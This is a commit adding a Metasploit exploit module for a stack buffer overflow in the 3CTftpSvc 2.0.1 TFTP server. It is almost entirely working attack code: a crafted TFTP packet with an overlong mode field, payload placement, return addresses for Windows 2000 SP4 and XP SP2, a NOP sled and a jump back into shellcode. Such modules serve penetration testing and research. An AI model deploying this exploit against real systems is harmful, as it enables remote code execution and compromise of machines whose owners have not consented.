added exploit module threectftpsvc_long_mode.rb

git-svn-id: file:///home/svn/framework3/trunk@4153 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/tftp/threectftpsvc_long_mode.rb

@@ -0,0 +1,62 @@
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Tftp::Threectftpsvc_Long_Mode < Msf::Exploit::Remote
+
+	include Exploit::Remote::Udp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => '3CTftpSvc TFTP Long Mode Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a stack overflow in 3CTftpSvc 2.0.1. By 
+				sending a specially crafted packet with an overly long mode
+				field, a remote attacker could overflow a buffer and execute
+				arbitrary code on the system.
+			},
+			'Author'         => 'MC',
+			'Version'        => '$Revision: 3653 $',
+			'References'     => 
+				[ 
+					['URL', 'http://secunia.com/advisories/23113/'],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 400,
+					'BadChars' => "\x00\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows 2000 Pro SP4 English',		{ 'Ret' => 0x77e14c29 } ], 
+					[ 'Windows XP Pro SP2 English',			{ 'Ret' => 0x77dc15c0 } ],
+				],
+			'Privileged'     => true,
+			'DisclosureDate' => 'Nov 26 2006'))
+
+			register_options([Opt::RPORT(69)], self)
+
+	end
+
+	def exploit
+		connect_udp
+
+		sploit =  "\x00\x02" + "\x41\x00\x6e\x65\x74\x61\x73\x63\x69\x69"
+		sploit << Rex::Text.rand_text_alpha_upper(65) + payload.encoded  
+		sploit << [target.ret].pack('V') + make_nops(20) + [0xe8, -325].pack('CV') + "\x00"  
+
+		print_status("Trying target #{target.name}...")
+			
+		udp_sock.put(sploit)
+		
+		disconnect_udp		
+	end
+
+end
+end